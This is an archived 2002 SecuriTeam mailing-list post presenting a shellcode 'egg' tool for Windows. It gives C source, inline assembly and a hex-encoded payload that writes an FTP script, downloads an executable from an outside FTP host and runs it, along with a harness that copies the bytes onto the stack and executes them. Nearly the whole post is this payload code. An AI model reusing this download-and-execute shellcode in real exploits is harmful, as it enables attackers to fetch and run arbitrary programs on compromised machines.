

[TOOL] Simple EGG (Example)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-10/0090.html>

From: support@securiteam.com

Date: 10/21/02

From: support@securiteam.com

To: list@securiteam.com

Date: 21 Oct 2002 18:30:59 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

Simple EGG (Example)

DETAILS

The following tool that will provide details how generate a shellcode for Windows.

Tool source:

```
/*
```

Simple egg

download and start installing Netscape4.79

tested on Japanese Windows 2000 Pro (SP2)

written by Kanatoko<anvil@jumperz.net>

<http://www.jumperz.net/>

compile:

```
$bcc32 egg_netscape.cpp
```

```
////////////////////////////////////
```

written in C:

```
FILE* handle;
```

```
char filename[] = "q";
```

Securiteam: [TOOL] Simple EGG (Example)

```
char command[] = "binary\nget  
/pub/communicator/english/4.79/windows/windows95_or_nt/complete_install/cc32d479.exe\nquit";
```

```
handle = fopen( filename, "w" );  
fputs( command, handle );  
fclose( handle );  
system( "ftp.exe -s:q -A ftp.netscape.com" );  
system( "cc32d479.exe" );
```

```
/////////////////////////////////////////////////////////////////  
HEX code:
```

```
0x55,0x8B,0xEC,0x53,0xEB,0x57,0x90,0x90,  
0x90,0x5B,0x33,0xC0,0x88,0x63,0x01,0x88,  
0x63,0x03,0x83,0xC3,0x68,0x88,0x23,0x88,  
0x63,0x21,0x88,0x63,0x2E,0x83,0xEB,0x68,  
0x53,0x83,0xC3,0x02,0x53,0xB9,0xC2,0x1B,  
0x02,0x78,0xFF,0xD1,0x50,0x83,0xC3,0x02,  
0x53,0xB9,0x8B,0x38,0x02,0x78,0xFF,0xD1,  
0x59,0xB9,0xB8,0x0E,0x01,0x78,0xFF,0xD1,  
0x83,0xC3,0x65,0x53,0xB9,0x4A,0x9B,0x01,  
0x78,0xFF,0xD1,0x83,0xC3,0x21,0x53,0xB9,  
0x4A,0x9B,0x01,0x78,0xFF,0xD1,0xB8,0x94,  
0x8F,0xE6,0x77,0xFF,0xD0,0xE8,0xA7,0xFF,  
0xFF,0xFF,0x77,0x58,0x71,0x58,0x62,0x69,  
0x6E,0x61,0x72,0x79,0x0A,0x67,0x65,0x74,  
0x20,0x2F,0x70,0x75,0x62,0x2F,0x63,0x6F,  
0x6D,0x6D,0x75,0x6E,0x69,0x63,0x61,0x74,  
0x6F,0x72,0x2F,0x65,0x6E,0x67,0x6C,0x69,  
0x73,0x68,0x2F,0x34,0x2E,0x37,0x39,0x2F,  
0x77,0x69,0x6E,0x64,0x6F,0x77,0x73,0x2F,  
0x77,0x69,0x6E,0x64,0x6F,0x77,0x73,0x39,  
0x35,0x5F,0x6F,0x72,0x5F,0x6E,0x74,0x2F,  
0x63,0x6F,0x6D,0x70,0x6C,0x65,0x74,0x65,  
0x5F,0x69,0x6E,0x73,0x74,0x61,0x6C,0x6C,  
0x2F,0x63,0x63,0x33,0x32,0x64,0x34,0x37,  
0x39,0x2E,0x65,0x78,0x65,0x0A,0x71,0x75,  
0x69,0x74,0x58,0x66,0x74,0x70,0x2E,0x65,  
0x78,0x65,0x20,0x2D,0x73,0x3A,0x71,0x20,  
0x2D,0x41,0x20,0x66,0x74,0x70,0x2E,0x6E,  
0x65,0x74,0x73,0x63,0x61,0x70,0x65,0x2E,  
0x63,0x6F,0x6D,0x58,0x63,0x63,0x33,0x32,  
0x64,0x34,0x37,0x39,0x2E,0x65,0x78,0x65,  
0x58
```

```
////////////////////////////////////////////////////////////////
```

```
*/
```

```
#include <stdlib.h>  
#include <stdio.h>
```

Securiteam: [TOOL] Simple EGG (Example)

```
#include <windows.h>

#define FPUTS 0x7802388b // fputs()
#define EP 0x77E68F94 // ExitProcess()
#define FOPN 0x78021bc2 // fopen()
#define SYTM 0x78019b4a // system()
#define FCLS 0x78010eb8 // fclose()

//-----
void hoge()
{
  __asm
  {
    jmp lbl1

  lbl2:
    pop EBX
    xor EAX, EAX

    mov [ EBX + 1 ], AH // set NULL
    mov [ EBX + 3 ], AH // set NULL
    add EBX, 104 // avoid NULL
    mov [ EBX ], AH // set NULL
    mov [ EBX + 33 ], AH // set NULL
    mov [ EBX + 46 ], AH // set NULL
    sub EBX, 104

    push EBX // fopen() 2nd arg
    add EBX, 2
    push EBX // fopen() 1st arg
    mov ECX, FOPN
    call ECX // call fopen()

    push EAX // fputs() 2nd arg
    add EBX, 2
    push EBX // fputs() 1st arg
    mov ECX, FPUTS
    call ECX // call fputs()

    pop ECX // delete fputs() 1st arg
    mov ECX, FCLS
    call ECX // call fclose()

    add EBX, 101
    push EBX // system() arg
    mov ECX, SYTM
    call ECX // call system( "ftp.exe ..." )

    add EBX, 33
    push EBX // system() arg
    mov ECX, SYTM
```

Securiteam: [TOOL] Simple EGG (Example)

```
call ECX // call system( "cd32d479.exe" )

mov EAX, EP
call EAX // call ExitProcess()

lbl1:
call lbl2

    // "X" will converted to NULL
    db "wX"
    db "qX"
    db "binary"
    db 0x0A
    db "get
/pub/communicator/english/4.79/windows/windows95_or_nt/complete_install/cc32d479.exe"
    db 0x0A
    db "quitX"
    db "ftp.exe -s:q -A ftp.netscape.comX"
    db "cc32d479.exeX"

    nop
    nop
    nop
    nop
    nop
    nop
    }
}
//-----
int main( int argc, char* argv[] )
{
LoadLibrary( "msvcrt.dll" );

char buf_stack[ 300 ];
const char nop6[] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 };
int length = 0;

    //get length of egg
    char* p = ( char* )hoge;
    for( ;; ++length, ++p )
    {
        int r = strcmp( p, nop6, 6 );
        if( r == 0 )
        {
            break;
        }
    }

/*
    //print egg
    p = ( char* )hoge;
```

Securiteam: [TOOL] Simple EGG (Example)

```
for( int i = 0, j = 0; i < length; ++i, ++p, ++j )
{
  if( (*p&0xFF) < 0x10 )
  {
    printf( "0x0%X," ,*p&0xFF );
  }
  else
  {
    printf( "0x%X," , *p&0xFF );
  }
  if( j == 7 )

  {
    printf( "\n" );
    j=-1;
  }
}
printf( "\n" );
*/
```

```
//copy to stack and execute
memcpy( buf_stack, ( char* )hoge, length );
char* egg_p = buf_stack;
```

```
__asm
{
  mov eax, egg_p
  call eax
}
```

```
return 0;
}
//-----
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:anvil@jumperz.net> Kanatoko.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,

loss of business profits or special damages.

- ***Previous message:*** support@securiteam.com: "[\[NT\] AN HTTPD SOCKS4 Username Buffer Overflow Vulnerability](#)"
- ***Messages sorted by:*** [\[date \] \[thread \] \[subject \] \[author \] \[attachment \]](#)